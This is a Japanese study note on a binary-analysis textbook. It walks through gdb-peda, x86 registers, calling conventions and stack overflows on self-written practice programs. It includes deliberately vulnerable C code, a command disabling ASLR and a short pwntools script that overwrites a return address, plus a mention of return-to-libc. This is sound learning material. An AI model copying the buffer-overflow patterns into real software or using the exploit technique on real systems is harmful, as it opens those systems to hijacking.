『はじめて学ぶバイナリ解析』

image

§1 サイバーセキュリティと脆弱性

脆弱性のタイプ: CWE
e.g. CWE-119 バッファエラー

§2 アセンブラとコンピュータアーキテクチャ

§3 スタック領域

  • ESP: スタックポインタ(トップ)
  • EBP: ベースポインタ(ボトム)

環境構築

gcc, gdb, gdb-peda, hexylを入れた(WSL2)
nasm

gdb-peda

  • gdb, スタックとかみれる
#include <stdio.h>
 
int main(void) {
    int hoge = 10;
    char fuga[] = "Hello, gdb!";
    printf("%s\n", fuga);
}


より
逆アセンブル

gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000000000401146 <+0>:     push   rbp
   0x0000000000401147 <+1>:     mov    rbp,rsp
   0x000000000040114a <+4>:     sub    rsp,0x10
   0x000000000040114e <+8>:     mov    DWORD PTR [rbp-0x4],0xa
   0x0000000000401155 <+15>:    movabs rax,0x67202c6f6c6c6548
   0x000000000040115f <+25>:    mov    QWORD PTR [rbp-0x10],rax
   0x0000000000401163 <+29>:    mov    DWORD PTR [rbp-0x8],0x216264
   0x000000000040116a <+36>:    lea    rax,[rbp-0x10]
   0x000000000040116e <+40>:    mov    rdi,rax
   0x0000000000401171 <+43>:    call   0x401030 <puts@plt>
   0x0000000000401176 <+48>:    mov    eax,0x0
   0x000000000040117b <+53>:    leave
   0x000000000040117c <+54>:    ret
End of assembler dump.

break <fn>
でブレイクポイント設定
r
でそこまで実行

gdb-peda$ break main
Breakpoint 1 at 0x40114a
gdb-peda$ r
Starting program: /mnt/d/home/wakame_tech/bin_prac/a.out
[----------------------------------registers-----------------------------------]
RAX: 0x401146 (<main>:  push   rbp)
RBX: 0x0
RCX: 0x401180 (<__libc_csu_init>:       push   r15)
RDX: 0x7fffffffdd88 --> 0x7fffffffdff2 ("HOSTTYPE=x86_64")
RSI: 0x7fffffffdd78 --> 0x7fffffffdfcb ("/mnt/d/home/wakame_tech/bin_prac/a.out")
RDI: 0x1
RBP: 0x7fffffffdc90 --> 0x401180 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffdc90 --> 0x401180 (<__libc_csu_init>:    push   r15)
RIP: 0x40114a (<main+4>:        sub    rsp,0x10)
R8 : 0x7ffff7dd0d80 --> 0x0
R9 : 0x7ffff7dd0d80 --> 0x0
R10: 0x0
R11: 0x7
R12: 0x401040 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffdd70 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401141 <frame_dummy+33>:   jmp    0x4010c0 <register_tm_clones>
   0x401146 <main>:     push   rbp
   0x401147 <main+1>:   mov    rbp,rsp
=> 0x40114a <main+4>:   sub    rsp,0x10
   0x40114e <main+8>:   mov    DWORD PTR [rbp-0x4],0xa
   0x401155 <main+15>:  movabs rax,0x67202c6f6c6c6548
   0x40115f <main+25>:  mov    QWORD PTR [rbp-0x10],rax
   0x401163 <main+29>:  mov    DWORD PTR [rbp-0x8],0x216264
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc90 --> 0x401180 (<__libc_csu_init>:   push   r15)
0008| 0x7fffffffdc98 --> 0x7ffff7a05b97 (<__libc_start_main+231>:       mov    edi,eax)
0016| 0x7fffffffdca0 --> 0x1
0024| 0x7fffffffdca8 --> 0x7fffffffdd78 --> 0x7fffffffdfcb ("/mnt/d/home/wakame_tech/bin_prac/a.out")
0032| 0x7fffffffdcb0 --> 0x100008000
0040| 0x7fffffffdcb8 --> 0x401146 (<main>:      push   rbp)
0048| 0x7fffffffdcc0 --> 0x0
0056| 0x7fffffffdcc8 --> 0xadf8ba403a2360a0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 1, 0x000000000040114a in main ()

<main+(数字)>
でプログラムの場所が示されている
n
で次のステップ,
c
で最後まで実行
スタックはメモリ番地の大きい方(プログラム側)に伸びていくので逆さにしたスタックでかく

§5 レジスタと分岐

汎用レジスタ EAX accumulator, EBX base, ECX counter, EDX data, E: 32bit, R: 32bit
特殊レジスタ
ESP(スタックポインタ),
EBP(スタックベースポインタ),
EIP(インストラクションポインタ): 次に実行する命令
フラグレジスタ: 32bit
命令や演算などの状態を保存

5-5 条件分岐

  • レジスタの書き換え
gdb-peda$ set $esp = 0x12345678
gdb-peda$ set $eflags |= (1 << 6) # 6番目のフラグをたてる
gdb-peda$ set $eflags &= ~(1 << 6) # 6番目のフラグを0に
#include <stdio.h>
 
int main() {
  int a;
  a = 0;
  if (a != 0) {
    printf("hacked!\n");
  } else {
    printf("failed!\n");
  }
  return 0;
}
 
i register
 

§6 アセンブリを書こう

Intel, AT&T 記法がある
レジスタの参照先に書き込みたい時

mov [ebx], eax
mov [ebx+4], eax

eg. サンプル(64bit)

bits 32
global _start
 
_start:
  push 0x000a6948 # "Hi"
  mov eax, 0x4 # write
  mov ebx, 0x1 # stdout
  mov ecx, esp
  mov edx, 0x4
  int 0x80 # write
  add esp, 0x4

コンパイル&実行

$ nasm -f elf hello.s
$ ld -m elf_i386 hello.o
 


32bit LinuxのシステムコールはPOSIXに準拠

§7 gdb-pedaを用いたプログラムの解析

CTFの問題を解いてなれよう

gdb-pedaのスタック構造の見方

一行4バイト,
[スタックのアドレス] --> [スタックの中身]
ubuntu 64bit osなので一行8バイトだった
stack 20
で20行スタックを表示

#include <stdio.h>
#include <string.h>
 
void vuln(char * str) {
  char str2[] = "beef";
  char overflowme[16];
  printf("input:");
  scanf("%s", overflowme);
  if (strcmp(str, str2) == 0) {
    printf("hacked!\n");
  } else {
    printf("failed!\n");
  }
}
 
int main() {
  char string[] = "fish";
  vuln(string);
}
 

gdb-pedaで
overflowme

str2
のオフセットが16バイトである事を確認
b vuln
,
r
してステップ実行していく

0x401182 <vuln+12>:  mov    DWORD PTR [rbp-0x5],0x66656562

0x66656562
は “feeb”

§8 リターンアドレスの書き換え

(復習) 関数の呼び出しは call <func>
現在のEIP(インストラクションポインタレジスタ)をstackにpushする, EIPを<func>のアドレスにする(= push eip; mov eip, func)
ret 現在のスタックトップのアドレスをEIPにしてからESPを4増やす(=pop eip)
関数を呼び出したあとにEIP, スタックの値を復元しなければ行けない(スタックは関数ごとに異なる領域)

8-2 関数呼び出し

呼び出し元

push arg2
push arg1
call label
mov retval, eax

引数をpush(EIPも動く) stack: [, , arg2, arg1]
callを実行するのでEIPがpushされる(=リターンアドレス)
stack: [, , arg2, arg1, retaddr]
EIP更新終了後スタックを復元するために退避(EIPのバックアップをpush)
次の関数は前の関数で利用しているスタックの続き
呼び出し先

label:
push ebp
mov ebp, esp
sub esp, buflength
mov eax, [ebp+0x8] // arg1
mov ebx, [ebp+0xC] // arg2
...
mov esp, ebp
pop ebp
ret

ESPを次の関数で利用するバッファ分下げる
スタックの上にargsが入っているのでレジスタに移す
戻り値は eax にいれる
ret: EIPにretaddr入れ, ESPひとつ小さく
復元完了

8-3 リターンアドレスの書き換え

#include <stdio.h>
 
void pwn() {
  printf("hacked!\n");
}
 
void vuln() {
  char overflowme[48];
  scanf("%[^\n]", overflowme);
}
 
int main() {
  vuln();
  printf("failed!\n");
  return 0;
}

pwn()を呼ぶ

ASLR機能の無効化

$ sudo sysctl -w kernel. randomize_ va_ space = 0

pattc 数字
: 指定した数の文字列を生成
patto <pattern>
何文字目に登場するか
オフセット 56
image*dc88がリターンアドレスだった

from pwn import *
 
p = process("./a.out")
p.sendline("A" * 56 + "\x56\x11\x40")
print(p.recvline())

§9 Return to libc

関数に無いコードも実行できるのでsystem関数で $sh されると任意の操作が
標準ライブラリの格納されているアドレスさえわかれば呼べる(return to libc攻撃)

9-3 グローバル変数と静的領域

静的領域は最初から最後まで確保され続けプログラム部ともスタック部とも異なる

9-4 system関数の引数

64bitだと関数の引数は6こまでレジスタに置かれてしまうのでバッファオーバーフロー無理

あきらめ